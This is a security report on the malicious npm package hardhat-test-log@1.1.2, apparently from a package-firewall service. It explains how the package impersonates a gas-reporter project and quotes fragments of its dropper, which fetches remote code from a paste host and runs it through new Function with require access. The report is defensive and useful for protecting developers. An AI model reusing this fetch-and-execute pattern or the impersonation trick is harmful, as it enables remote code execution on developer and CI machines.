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canonical: "https://firewall.lpm.dev/npm/hardhat-test-log"
markdown: "https://firewall.lpm.dev/npm/hardhat-test-log/report.md"
package: "hardhat-test-log"
report_status: "published"
title: "hardhat-test-log@1.1.2 npm security report"
verdict: "malicious"
version: "1.1.2"
---

# hardhat-test-log@1.1.2 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-6369 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.1.2
- **Selected version is latest:** No
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-6369 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6369 confirms this npm version as malicious. Package impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports \`log\` as the reporter, but the function contains \`var opt = 1; if (!opt) {...legitimate reporter code... }...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-07-09T16:50:16.434Z
- **Finished:** 2026-07-09T16:50:16.434Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to hardhat-test-log@1.1.2.

The same advisory and Firewall decision cover these 3 recorded versions: 1.1.0, 1.1.1, 1.1.2.

- Avoid installing hardhat-test-log@1.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports \`log\` as the reporter, but the function contains \`var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); }\` — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns \`node lib/syncResolve.js\` as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs \`axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } })\`, extracts the \`Cookie\` field from the response, and executes it in-process via \`new Function.constructor('require', result)(require)\` — giving attacker-controlled code full Node \`require\` access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** hardhat-test-log
- **Ecosystem:** npm
- **Version:** 1.1.2
- **Version published:** 2026-06-25T00:24:51.831Z
- **Package first seen:** 2026-06-30T15:00:00.099Z
- **Package last seen:** 2026-07-09T16:50:16.434Z
- **Known versions:** 4
- **Latest version:** 1.1.3
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/hardhat-test-log>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-6369>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-test-log/v/1.1.0>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-test-log/v/1.1.2>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-test-log/v/1.1.3>)
- [PACKAGE](<https://www.npmjs.com/package/hardhat-test-log/v/1.1.1>)